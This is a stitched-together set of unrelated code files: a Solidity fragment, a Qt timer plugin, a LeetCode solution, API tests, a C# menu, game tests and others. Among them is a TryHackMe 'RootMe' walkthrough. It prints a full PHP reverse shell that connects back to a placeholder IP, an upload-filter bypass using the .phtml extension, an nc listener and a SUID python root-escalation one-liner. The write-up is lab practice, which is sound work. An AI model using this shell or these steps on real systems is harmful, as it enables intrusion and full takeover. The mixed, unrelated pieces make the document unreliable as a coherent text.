assert(t.balances[beneficiary] + value > t.balances[beneficiary]); // overflow check
t.balances[beneficiary] += value; // perform operation
}
// n - number of beneficiaries, values array length
// values - array to accumulate each beneficiary value share during current transfer
// value - total value during current round of transfer
function __split(uint[] memory values, uint[] shares, uint idx, uint value) private pure {
// number of beneficiaries
uint n = values.length;
// temporary variable for simple loops
uint i;
// temp variables to fix rounding off discrepancy
uint v0 = 0;
uint vi;
// total share
uint share = __totalShare(shares, idx, n);
// calculate each beneficiary value share
for(i = 0; i < n; i++) {
vi = value / share * shares[idx * n + i]; // i-th for current round
values[i] += vi; // increment beneficiary's share
v0 += vi; // total for current round
}
// fix rounding off discrepancy
values[0] += value - v0;
}
// calculates the sum of shares in range [idx * n, (idx + 1) * n)
function __totalShare(uint[] shares, uint idx, uint n) private pure returns(uint share) {
// calculate total share for round 'idx'
for(uint i = 0; i < n; i++) {
share += shares[idx * n + i];
}
}
} |
/*
Digital Clock: countdown timer plugin
Copyright (C) 2017-2020 Nick Korotysh <nick.korotysh@gmail.com>
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#include "countdown_timer_plugin.h"
#include <QDateTime>
#include <QMediaPlayer>
#include <QMessageBox>
#include <QPushButton>
#ifdef HAVE_QHOTKEY
#include <QHotkey>
#else
class QHotkey {}; // just a stub to suppress compiler warnings
#endif
#include "plugin_settings.h"
#include "core/countdown_timer.h"
#include "core/settings.h"
#include "core/utilities.h"
#include "gui/clickable_label.h"
#include "gui/settings_dialog.h"
namespace countdown_timer {
CountdownTimerPlugin::CountdownTimerPlugin()
: cd_timer_(nullptr)
, player_(nullptr)
, pause_hotkey_(nullptr)
, restart_hotkey_(nullptr)
, settings_hotkey_(nullptr)
{
InitTranslator(QLatin1String(":/countdown_timer/lang/countdown_timer_"));
info_.display_name = tr("Countdown timer");
info_.description = tr("Just a countdown timer.");
InitIcon(":/countdown_timer/icon.svg.p");
}
void CountdownTimerPlugin::Start()
{
cd_timer_ = new CountdownTimer();
connect(cd_timer_, &CountdownTimer::timeLeftChanged, this, &CountdownTimerPlugin::TimeUpdateListener);
connect(cd_timer_, &CountdownTimer::timeout, this, &CountdownTimerPlugin::HandleTimeout);
player_ = new QMediaPlayer();
connect(settings_, &PluginSettings::OptionChanged, this, &CountdownTimerPlugin::onPluginOptionChanged);
::plugin::WidgetPluginBase::Start();
InitTimer();
}
void CountdownTimerPlugin::Stop()
{
if (cd_timer_->isActive()) cd_timer_->stop();
delete cd_timer_;
cd_timer_ = nullptr;
delete player_;
player_ = nullptr;
delete pause_hotkey_;
delete restart_hotkey_;
delete settings_hotkey_;
timer_widgets_.clear();
::plugin::WidgetPluginBase::Stop();
}
void CountdownTimerPlugin::Configure()
{
SettingsDialog* dialog = new SettingsDialog();
connect(dialog, &SettingsDialog::destroyed, this, &CountdownTimerPlugin::configured);
// load current settings to dialog
QSettings::SettingsMap curr_settings;
InitDefaults(&curr_settings);
for (auto iter = curr_settings.begin(); iter != curr_settings.end(); ++iter) {
*iter = settings_->GetOption(iter.key());
}
dialog->Init(curr_settings);
// add widget with common settings configuration controls
dialog->AddCommonWidget(InitConfigWidget(dialog));
// connect main signals/slots
connect(dialog, SIGNAL(OptionChanged(QString,QVariant)),
settings_, SLOT(SetOption(QString,QVariant)));
connect(dialog, SIGNAL(accepted()), settings_, SLOT(Save()));
connect(dialog, SIGNAL(rejected()), settings_, SLOT(Load()));
// connect additional slots
if (cd_timer_) {
connect(dialog, &SettingsDialog::accepted, cd_timer_, &CountdownTimer::stop);
connect(dialog, &SettingsDialog::accepted, this, &CountdownTimerPlugin::InitTimer);
connect(dialog, &SettingsDialog::accepted, cd_timer_, &CountdownTimer::start);
}
dialog->show();
}
void CountdownTimerPlugin::InitSettingsDefaults(QSettings::SettingsMap* defaults)
{
InitDefaults(defaults);
}
QWidget* CountdownTimerPlugin::InitWidget(QGridLayout* layout)
{
Q_UNUSED(layout);
ClickableLabel* w = new ClickableLabel();
connect(w, &ClickableLabel::clicked, this, &CountdownTimerPlugin::RestartTimer);
connect(w, &ClickableLabel::singleClicked, this, &CountdownTimerPlugin::PauseTimer);
timer_widgets_.append(w);
return w;
}
void CountdownTimerPlugin::DisplayImage(QWidget* widget, const QImage& image)
{
static_cast<ClickableLabel*>(widget)->setPixmap(QPixmap::fromImage(image));
}
QString CountdownTimerPlugin::GetWidgetText()
{
int hide_days_threshold = settings_->GetOption(OPT_HIDE_DAYS_THRESHOLD).toInt();
qint64 counter = settings_->GetOption(OPT_REVERSE_COUNTING).toBool() ?
cd_timer_->interval() - cd_timer_->timeLeft() : cd_timer_->timeLeft();
bool hide_hours = settings_->GetOption(OPT_ALSO_HIDE_HOURS).toBool();
return format_time(counter, hide_days_threshold, hide_hours);
}
void CountdownTimerPlugin::InitTimer()
{
if (settings_->GetOption(OPT_USE_TARGET_TIME).toBool()) {
QDateTime now = QDateTime::currentDateTime();
now = now.addMSecs(-now.time().msec());
QDateTime target = settings_->GetOption(OPT_TARGET_DATETIME).toDateTime();
if (target < now) {
target = GetDefaultDate();
settings_->SetOption(OPT_TARGET_DATETIME, target);
}
if (target > now) {
cd_timer_->setInterval(now.secsTo(target));
cd_timer_->start();
}
} else {
qint64 timeout = settings_->GetOption(OPT_INTERVAL_SECONDS).toLongLong();
timeout += 60 * settings_->GetOption(OPT_INTERVAL_MINUTES).toLongLong();
timeout += 3600 * settings_->GetOption(OPT_INTERVAL_HOURS).toLongLong();
cd_timer_->setInterval(timeout);
}
}
void CountdownTimerPlugin::HandleTimeout()
{
if (settings_->GetOption(OPT_CHIME_ON_TIMEOUT).toBool()) {
player_->setMedia(QUrl::fromLocalFile(settings_->GetOption(OPT_CHIME_SOUND_FILE).toString()));
player_->play();
}
if (settings_->GetOption(OPT_SHOW_MESSAGE).toBool()) {
QMessageBox mb(QMessageBox::Warning,
info_.display_name,
settings_->GetOption(OPT_MESSAGE_TEXT).toString());
mb.addButton(QMessageBox::Ok)->setFocusPolicy(Qt::ClickFocus);
mb.exec();
}
if (settings_->GetOption(OPT_RESTART_ON_TIMEOUT).toBool()) {
InitTimer();
cd_timer_->start();
}
}
void CountdownTimerPlugin::RestartTimer()
{
if (settings_->GetOption(OPT_RESTART_ON_DBLCLIK).toBool()) {
cd_timer_->stop();
InitTimer();
cd_timer_->start();
}
}
void CountdownTimerPlugin::PauseTimer()
{
if (cd_timer_->isActive())
cd_timer_->stop();
else
cd_timer_->start();
}
void CountdownTimerPlugin::setWidgetsVisible(bool visible)
{
for (auto w : timer_widgets_)
if (w)
w->setVisible(visible);
}
void CountdownTimerPlugin::onPluginOptionChanged(const QString& key, const QVariant& value)
{
auto init_hotkey = [=](auto key_seq, auto receiver, auto method) -> QHotkey* {
QHotkey* hotkey = nullptr;
#ifdef HAVE_QHOTKEY
if (!key_seq.isEmpty()) {
hotkey = new QHotkey(QKeySequence(key_seq), true);
connect(hotkey, &QHotkey::activated, receiver, method);
}
#else
Q_UNUSED(key_seq);
Q_UNUSED(receiver);
Q_UNUSED(method);
#endif
return hotkey;
};
if (key == OPT_PAUSE_HOTKEY) {
delete pause_hotkey_;
pause_hotkey_ = init_hotkey(value.toString(), this, &CountdownTimerPlugin::PauseTimer);
}
if (key == OPT_RESTART_HOTKEY) {
delete restart_hotkey_;
restart_hotkey_ = init_hotkey(value.toString(), this, &CountdownTimerPlugin::RestartTimer);
}
if (key == OPT_SETTINGS_HOTKEY) {
delete settings_hotkey_;
settings_hotkey_ = init_hotkey(value.toString(), this, &CountdownTimerPlugin::Configure);
}
if (key == OPT_HIDE_INACTIVE && cd_timer_) {
if (value.toBool()) {
connect(cd_timer_, &CountdownTimer::activityChanged, this, &CountdownTimerPlugin::setWidgetsVisible);
setWidgetsVisible(cd_timer_->isActive());
} else {
disconnect(cd_timer_, &CountdownTimer::activityChanged, this, &CountdownTimerPlugin::setWidgetsVisible);
setWidgetsVisible(true);
}
}
}
} // namespace countdown_timer |
// C++ program for implementation of Lagrange's Interpolation
#include <bits/stdc++.h>
using namespace std;
// To represent a data point corresponding to x and y = f(x)
struct Data
{
int x, y;
};
// function to interpolate the given data points using Lagrange's formula
// xi corresponds to the new data point whose value is to be obtained
// n represents the number of known data points
double interpolate(Data f[], int xi, int n)
{
double result = 0; // Initialize result
for (int i = 0; i < n; i++)
{
// Compute individual terms of above formula
double term = f[i].y;
for (int j = 0; j < n; j++)
{
if (j != i)
term = term * (xi - f[j].x) / double(f[i].x - f[j].x);
}
// Add current term to result
result += term;
}
return result;
}
// driver function to check the program
int main()
{
// creating an array of 4 known data points
Data f[] = {{0, 2}, {1, 3}, {2, 12}, {5, 147}};
// Using the interpolate function to obtain a data point
// corresponding to x=3
cout << "Value of f(3) is : " << interpolate(f, 3, 4);
return 0;
} |
# LitGuten
Este es un proyecto de ejemplo que muestra cómo trabajar con libros y autores en una aplicación de biblioteca.
## Descripción
LitGuten es una aplicación en consola de biblioteca que permite administrar libros y autores. Proporciona endpoints para obtener información sobre los libros, los autores y realizar algunas consultas específicas.
## Requisitos
- Java 8 o superior
- Maven
- MySQL
## Configuración
1. Clona este repositorio en tu máquina local.
2. Configura la base de datos MySQL. Ejecuta el script `database.sql` proporcionado en el directorio `db` para crear la base de datos y las tablas necesarias.
3. Actualiza el archivo `application.properties` en el directorio `src/main/resources` con la configuración de tu base de datos MySQL.
## Endpoints
- `/book`: Busca y guarda un libro en la base de datos.
- `/books`: Obtiene todos los libros en la base de datos.
- `/authors`: Obtiene todos los autores en la base de datos.
- `/authors/birthyear/{year}`: Obtiene los autores nacidos a partir de un año dado.
- `/books/{language}/count`: Obtiene el número de libros por idioma.
## Ejemplos de Uso
### Busca y guarda libro
<img src="https://github.com/fasol8/LitGuten/blob/main/image/menu1.png" alt="Captura de pantalla del Litguten menu 1">
### Obtener todos los libros
<img src="https://github.com/fasol8/LitGuten/blob/main/image/menu2.png" alt="Captura de pantalla del Litguten menu 2">
### Obtener todos los autores
<img src="https://github.com/fasol8/LitGuten/blob/main/image/menu3.png" alt="Captura de pantalla del Litguten menu 3">
### Obtener los autores nacidos a partir de un año dado
<img src="https://github.com/fasol8/LitGuten/blob/main/image/menu4.png" alt="Captura de pantalla del Litguten menu 4">
### Obtener el número de libros por idioma
<img src="https://github.com/fasol8/LitGuten/blob/main/image/menu5.png" alt="Captura de pantalla del Litguten menu 5"> |
!******************************************************************************
! Content:
! This example demonstrates use of API as below:
! CHPMV
!
!******************************************************************************
program CHPMV_MAIN
*
implicit none
include "nvpl_blas_f77_blas.fi"
* Intrinsic Functions
intrinsic abs
character*1 uplo
parameter (uplo='U')
integer m, n, incx, incy, i
parameter (m=2, n=2, incx=1, incy=1)
complex alpha, beta
parameter (alpha=(1.0,2.0), beta=(1.0, 2.0))
integer xsize, ysize, apsize
parameter (xsize=1+(n-1)*abs(incx),
& ysize=1+(n-1)*abs(incy),
& apsize=(n*(n+1))/2)
complex x(xsize), y(ysize), ap(apsize)
* External Subroutines
external print_cvector, fill_cvector
*
* Executable Statements
*
print*
print 99
*
* Print input data
print*
print 100, n, incx, incy, uplo
print 101, alpha, beta
call fill_cvector(x,n,incx)
call fill_cvector(y,n,incy)
call fill_cvector(ap,apsize,1)
call print_cvector(ap,apsize,1,'AP')
call print_cvector(x,n,incx,'X')
call print_cvector(y,n,incy,'Y')
*
* Call CHPMV subroutine
call CHPMV(uplo,n,alpha,ap,x,incx,beta,y,incy)
*
print*
print 102
call print_cvector(y,n,incy,'Y')
stop
99 format('Example: CHPMV for a matrix-vector product using a'
& ' Hermitian packed matrix')
100 format('#### args: n=',i1,', incx=',i1,', incy=',i1,
& ', uplo=',a1)
101 format(11x,'alpha=(',f3.1,', ',f3.1,'),'
& ' beta=(',f3.1,', ',f3.1,')')
102 format('The result of CHPMV: ')
end |
# RootMe
Question:
`Scan the machine, how many ports are open?`
```sh
nmap -sV $ip
Nmap scan report for $ip
Host is up (0.084s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```
Answer:
`2` Ports are open.
<br/>
Question:
`What version of Apache is running?`
Answer:
`2.4.29` is the correct Version.
<br/>
Question:
`What service is running on port 22?`
Answer:
`SSH` is the service which is also the default Port for SSH.
<br/>
Question:
`What is the hidden directory?`
```sh
ffuf -u http://$ip/FUZZ -w ../../webhacking/wordlists/directory_scanner/common.txt
___ ___ ___
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.0.0-dev
________________________________________________
:: Method : GET
:: URL : http://$ip/FUZZ
:: Wordlist : FUZZ: /home/kali/webhacking/wordlists/directory_scanner/common.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________
[Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 2350ms]
* FUZZ: .htpasswd
[Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 3353ms]
* FUZZ: .htaccess
[Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 3353ms]
* FUZZ: .hta
[Status: 301, Size: 308, Words: 20, Lines: 10, Duration: 69ms]
* FUZZ: css
[Status: 200, Size: 616, Words: 115, Lines: 26, Duration: 79ms]
* FUZZ: index.php
[Status: 301, Size: 307, Words: 20, Lines: 10, Duration: 74ms]
* FUZZ: js
[Status: 301, Size: 310, Words: 20, Lines: 10, Duration: 69ms]
* FUZZ: panel
[Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 71ms]
* FUZZ: server-status
[Status: 301, Size: 312, Words: 20, Lines: 10, Duration: 80ms]
* FUZZ: uploads
:: Progress: [4613/4613] :: Job [1/1] :: 542 req/sec :: Duration: [0:00:11] :: Errors: 0 ::
```
Answer:
`/panel/` seems to be the hidden directory.
<br/>
Question:
What is the content of `user.txt`?
To get this we need to get a reverse shell to the machine. For the reverse shell I used a simple PHP script but it seems that normal a `.php` file is blocked by the system.
To bypass this we rename the `.php` file to `.phtml` which bypasses the security and let's us upload the reverse shell.
Reverse Shell by PentestMonkey:
```php
<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '10.0.0.1'; // Your IP
$port = 9999; // Your PORT
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
if (function_exists('pcntl_fork')) {
// Fork and have the parent process exit
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
// Make the current process a session leader
// Will only succeed if we forked
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
chdir("/");
umask(0);
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>
```
NetCat Listener for rev shell:
```sh
nc -lnvp 9999
```
Answer:
`THM{REDACTED}` seems to be the content for `user.txt`.
<br/>
Question:
Find a file with weird SUID permission:
For this we use a simple `find` command
```sh
find / -user root -perm /4000
```
Answer:
`/usr/bin/python` seems to be fun to play with.
<br/>
The next Step is to escalate priviledges which is not so hard because we found an exploit for this on https://gtfobins.github.io/gtfobins/python/.
```sh
python -c 'import os; os.execl("/bin/sh", "sh", "-p")’
```
Question:
What is the content of `root.txt`?
Answer:
`THM{REDACTED}` is the content of `root.txt`. |
'''
There are n people that are split into some unknown number of groups. Each person is labeled with a unique ID from 0 to n - 1.
You are given an integer array groupSizes, where groupSizes[i] is the size of the group that person i is in.
For example, if groupSizes[1] = 3, then person 1 must be in a group of size 3.
Return a list of groups such that each person i is in a group of size groupSizes[i].
Each person should appear in exactly one group, and every person must be in a group. If there are multiple answers, return any of them. It is guaranteed that there will be at least one valid solution for the given input.
'''
from typing import List
import collections
import itertools
import functools
import math
import string
import random
import bisect
import re
import operator
import heapq
import queue
from queue import PriorityQueue
from itertools import combinations, permutations
from functools import lru_cache
from collections import defaultdict
from collections import OrderedDict
from collections import deque
from collections import Counter
from typing import Optional
class Solution:
def groupThePeople(self, groupSizes: List[int]) -> List[List[int]]:
groups = {}
result = []
for i, size in enumerate(groupSizes):
if size not in groups:
groups[size] = []
groups[size].append(i)
if len(groups[size]) == size:
result.append(groups[size])
groups[size] = []
return result
print(Solution().groupThePeople(groupSizes=[2,1,3,3,3,2]))
print(Solution().groupThePeople(groupSizes=[3,3,3,3,3,1,3])) |
import requests
import pytest
base_url = 'http://localhost:8000'
add_drug_url = f'{base_url}/add_drug'
get_drugs_url = f'{base_url}/get_drugs'
get_drug_by_id_url = f'{base_url}/get_drug_by_id'
update_drug_url = f'{base_url}/update_drug'
delete_drug_url = f'{base_url}/delete_drug'
new_drug = {
"id": 99,
"name": "Aspirin",
"manufacturer": "Bayer",
"expiration_date": "2025-12-31T00:00:00",
"description": "Used to reduce pain, fever, or inflammation."
}
updated_data = {
"id": 99,
"name": "Aspirin",
"manufacturer": "Bayer",
"expiration_date": "2025-12-31T00:00:00",
"description": "Updated description for Aspirin"
}
service_url = 'http://localhost:80/drug_labels'
search_query = 'aspirin'
def test_add_drug():
response = requests.post(add_drug_url, json=new_drug)
assert response.status_code == 200
assert response.json()['name'] == "Aspirin"
def test_get_drugs():
response = requests.get(get_drugs_url)
assert response.status_code == 200
drugs = response.json()
assert any(drug['name'] == "Aspirin" for drug in drugs)
def test_get_drug_by_id():
response = requests.get(f"{get_drug_by_id_url}?drug_id=99")
assert response.status_code == 200
assert response.json()['id'] == 99
def test_update_drug():
response = requests.put(f"{update_drug_url}?drug_id=99", json=updated_data)
assert response.status_code == 200
assert response.json()['description'] == "Updated description for Aspirin"
def test_delete_drug():
response = requests.delete(f"{delete_drug_url}?drug_id=99")
assert response.status_code == 200
assert response.json() == {"message": "Drug deleted"}
response = requests.get(f"{get_drug_by_id_url}?drug_id=99")
assert response.status_code == 404
# def test_get_drug_labels():
# response = requests.get(f"{service_url}?search_query={search_query}")
# assert response.status_code == 200
#
# data = response.json()
# assert 'results' in data
# assert len(data['results']) > 0
#
# drug_info = data['results'][0]
# assert 'active_ingredient' in drug_info or 'inactive_ingredient' in drug_info |
namespace FinalStudentManagement.Presentation
{
class Presentation
{
private ClassPresentation classPresentation;
private ScorePresentation scorePresentation;
private StudentPresentation studentPresentation;
private SubjectPresentation subjectPresentation;
public Presentation()
{
classPresentation = new ClassPresentation();
scorePresentation = new ScorePresentation();
studentPresentation = new StudentPresentation();
subjectPresentation = new SubjectPresentation();
}
public async Task Run()
{
bool exit = false;
while (!exit)
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("Select an option: \n");
Console.WriteLine("1. Class");
Console.WriteLine("2. Student");
Console.WriteLine("3. Subject");
Console.WriteLine("4. Score");
Console.WriteLine("5. Exit");
int option = 0;
while (option < 1 || option > 5)
{
System.Console.WriteLine("Enter your choice...");
if (!int.TryParse(Console.ReadLine(), out option))
System.Console.WriteLine("Invalid input!!");
Console.ForegroundColor = ConsoleColor.Green;
switch (option)
{
case 1:
await ClassMenu();
break;
case 2:
await StudentMenu();
break;
case 3:
await SubjectMenu();
break;
case 4:
await ScoreMenu();
break;
case 5:
exit = true;
break;
default:
Console.WriteLine("Invalid option. Please try again.");
break;
}
}
}
}
public async Task ClassMenu()
{
bool back = false;
while (!back)
{
Console.WriteLine("Class Menu: \n");
Console.WriteLine("1. Add a new class");
Console.WriteLine("2. View all classes");
Console.WriteLine("3. Update a class");
Console.WriteLine("4. Delete a class");
Console.WriteLine("5. Back to main menu");
Console.ForegroundColor = ConsoleColor.DarkGreen;
int option = 0;
while (option < 1 || option > 5)
{
System.Console.WriteLine("Enter your choice...");
if (!int.TryParse(Console.ReadLine(), out option))
System.Console.WriteLine("Invalid input!!");
Console.ForegroundColor = ConsoleColor.Gray;
switch (option)
{
case 1:
await classPresentation.Add();
break;
case 2:
await classPresentation.ViewAll();
break;
case 3:
await classPresentation.Update();
break;
case 4:
await classPresentation.Delete();
break;
case 5:
back = true;
break;
default:
Console.WriteLine("Invalid option. Please try again.");
break;
}
}
}
}
public async Task StudentMenu()
{
bool back = false;
while (!back)
{
Console.WriteLine("STUDENT MENU\n");
Console.WriteLine("1. Add a new student");
Console.WriteLine("2. View all students in a class");
Console.WriteLine("3. Update a student");
Console.WriteLine("4. Delete a student");
Console.WriteLine("5. Back to menu");
Console.Write("\nEnter your choice: ");
Console.ForegroundColor = ConsoleColor.Green;
int option = 0;
while (option < 1 || option > 5)
{
System.Console.WriteLine("Enter your choice...");
if (!int.TryParse(Console.ReadLine(), out option))
System.Console.WriteLine("Invalid input!!");
Console.ForegroundColor = ConsoleColor.Gray;
switch (option)
{
case 1:
await studentPresentation.Add();
break;
case 2:
await studentPresentation.ViewAll();
break;
case 3:
await studentPresentation.Update();
break;
case 4:
await studentPresentation.Delete();
break;
case 5:
back = true;
break;
default:
Console.WriteLine("Invalid choice. Press any key to try again...");
Console.ReadKey();
break;
}
}
}
}
public async Task SubjectMenu()
{
bool back = false;
while (!back)
{
Console.WriteLine("\nSubject Menu\n");
Console.WriteLine("1. Add a new subject");
Console.WriteLine("2. View all subjects");
Console.WriteLine("3. Update a subject");
Console.WriteLine("4. Delete a subject");
Console.WriteLine("5. Back to menu");
Console.Write("\nEnter choice: ");
Console.ForegroundColor = ConsoleColor.Green;
int option = 0;
while (option < 1 || option > 5)
{
System.Console.WriteLine("Enter your choice...");
if (!int.TryParse(Console.ReadLine(), out option))
System.Console.WriteLine("Invalid input!!");
Console.ForegroundColor = ConsoleColor.Red;
switch (option)
{
case 1:
await subjectPresentation.Add();
break;
case 2:
await subjectPresentation.ViewAll();
break;
case 3:
await subjectPresentation.Update();
break;
case 4:
await subjectPresentation.Delete();
break;
case 5:
return;
default:
Console.WriteLine("Invalid choice. Please try again.");
break;
}
}
}
}
public async Task ScoreMenu()
{
bool back = false;
while (!back)
{
Console.WriteLine("\nScore Menu\n");
Console.WriteLine("1. Add a new score");
Console.WriteLine("2. View all scores for a student");
Console.WriteLine("3. Update a score");
Console.WriteLine("4. Delete a score");
Console.WriteLine("5. Back to menu");
Console.Write("\nEnter choice: ");
Console.ForegroundColor = ConsoleColor.Green;
int option = 0;
while (option < 1 || option > 5)
{
System.Console.WriteLine("Enter your choice...");
if (!int.TryParse(Console.ReadLine(), out option))
System.Console.WriteLine("Invalid input!!");
Console.ForegroundColor = ConsoleColor.Red;
switch (option)
{
case 1:
await scorePresentation.Add();
break;
case 2:
await scorePresentation.ViewAll();
break;
case 3:
await scorePresentation.Update();
break;
case 4:
await scorePresentation.Delete();
break;
case 5:
return;
default:
Console.WriteLine("Invalid choice. Please try again.");
break;
}
}
}
}
}
} |
from unittest import TestCase
from unittest.mock import patch
from game import move_character
import io
class TestMoveCharacter(TestCase):
def test_move_character_north(self):
board = {'Dimensions': (2, 2),
(0, 0): {'Enemy': [], 'Explored': False},
(0, 1): {'Enemy': [], 'Explored': False},
(1, 0): {'Enemy': [], 'Explored': True},
(1, 1): {'Enemy': [], 'Explored': True}}
character = {'Position': (1, 0), 'Previous Position': (1, 1)}
expected_1 = {'Position': (0, 0), 'Previous Position': (1, 0)}
expected_2 = True
expected_3 = {'Dimensions': (2, 2),
(0, 0): {'Enemy': [], 'Explored': True},
(0, 1): {'Enemy': [], 'Explored': False},
(1, 0): {'Enemy': [], 'Explored': True},
(1, 1): {'Enemy': [], 'Explored': True}}
actual_2 = move_character(board, character, 'North')
actual_1 = character
actual_3 = board
self.assertEqual(expected_1, actual_1)
self.assertEqual(expected_2, actual_2)
self.assertEqual(expected_3, actual_3)
def test_move_character_west(self):
board = {'Dimensions': (2, 2),
(0, 0): {'Enemy': [], 'Explored': False},
(0, 1): {'Enemy': [], 'Explored': True},
(1, 0): {'Enemy': [], 'Explored': False},
(1, 1): {'Enemy': [], 'Explored': True}}
character = {'Position': (0, 1), 'Previous Position': (1, 1)}
expected_1 = {'Position': (0, 0), 'Previous Position': (0, 1)}
expected_2 = True
expected_3 = {'Dimensions': (2, 2),
(0, 0): {'Enemy': [], 'Explored': True},
(0, 1): {'Enemy': [], 'Explored': True},
(1, 0): {'Enemy': [], 'Explored': False},
(1, 1): {'Enemy': [], 'Explored': True}}
actual_2 = move_character(board, character, 'West')
actual_1 = character
actual_3 = board
self.assertEqual(expected_1, actual_1)
self.assertEqual(expected_2, actual_2)
self.assertEqual(expected_3, actual_3)
def test_move_character_south(self):
board = {'Dimensions': (2, 2),
(0, 0): {'Enemy': [], 'Explored': True},
(0, 1): {'Enemy': [], 'Explored': True},
(1, 0): {'Enemy': [], 'Explored': False},
(1, 1): {'Enemy': [], 'Explored': False}}
character = {'Position': (0, 0), 'Previous Position': (0, 1)}
expected_1 = {'Position': (1, 0), 'Previous Position': (0, 0)}
expected_2 = True
expected_3 = {'Dimensions': (2, 2),
(0, 0): {'Enemy': [], 'Explored': True},
(0, 1): {'Enemy': [], 'Explored': True},
(1, 0): {'Enemy': [], 'Explored': True},
(1, 1): {'Enemy': [], 'Explored': False}}
actual_2 = move_character(board, character, 'South')
actual_1 = character
actual_3 = board
self.assertEqual(expected_1, actual_1)
self.assertEqual(expected_2, actual_2)
self.assertEqual(expected_3, actual_3)
def test_move_character_east(self):
board = {'Dimensions': (2, 2),
(0, 0): {'Enemy': [], 'Explored': True},
(0, 1): {'Enemy': [], 'Explored': False},
(1, 0): {'Enemy': [], 'Explored': True},
(1, 1): {'Enemy': [], 'Explored': False}}
character = {'Position': (0, 0), 'Previous Position': (1, 0)}
expected_1 = {'Position': (0, 1), 'Previous Position': (0, 0)}
expected_2 = True
expected_3 = {'Dimensions': (2, 2),
(0, 0): {'Enemy': [], 'Explored': True},
(0, 1): {'Enemy': [], 'Explored': True},
(1, 0): {'Enemy': [], 'Explored': True},
(1, 1): {'Enemy': [], 'Explored': False}}
actual_2 = move_character(board, character, 'East')
actual_1 = character
actual_3 = board
self.assertEqual(expected_1, actual_1)
self.assertEqual(expected_2, actual_2)
self.assertEqual(expected_3, actual_3)
@patch('sys.stdout', new_callable=io.StringIO)
def test_move_character_invalid_move(self, output_string):
board = {'Dimensions': (2, 2),
(0, 0): {'Enemy': [], 'Explored': True},
(0, 1): {'Enemy': [], 'Explored': False},
(1, 0): {'Enemy': [], 'Explored': True},
(1, 1): {'Enemy': [], 'Explored': False}}
character = {'Position': (0, 0), 'Previous Position': (1, 0)}
expected_1 = {'Position': (0, 0), 'Previous Position': (1, 0)}
expected_2 = False
expected_3 = {'Dimensions': (2, 2),
(0, 0): {'Enemy': [], 'Explored': True},
(0, 1): {'Enemy': [], 'Explored': False},
(1, 0): {'Enemy': [], 'Explored': True},
(1, 1): {'Enemy': [], 'Explored': False}}
expected_4 = "There is no hall in that direction. This seems to be the edge of the arena.\n"
actual_2 = move_character(board, character, 'West')
actual_1 = character
actual_3 = board
actual_4 = output_string.getvalue()
self.assertEqual(expected_1, actual_1)
self.assertEqual(expected_2, actual_2)
self.assertEqual(expected_3, actual_3)
self.assertEqual(expected_4, actual_4) |
'use client'
import { createContext, useState, useEffect, Dispatch, SetStateAction } from "react"
import sustainIcon from "../assets/images/icons/SP_sustainability_icon.svg"
import historyIcon from "../assets/images/icons/SP_history_icon.svg"
import geologyIcon from "../assets/images/icons/SP_geology_icon.svg"
import astronomyIcon from "../assets/images/icons/SP_astronomy_icon.svg"
export interface Tag {
name: string
completed: boolean
description: string
hint: string
icon: string
}
export interface ProgressData {
[key: string]: Tag
}
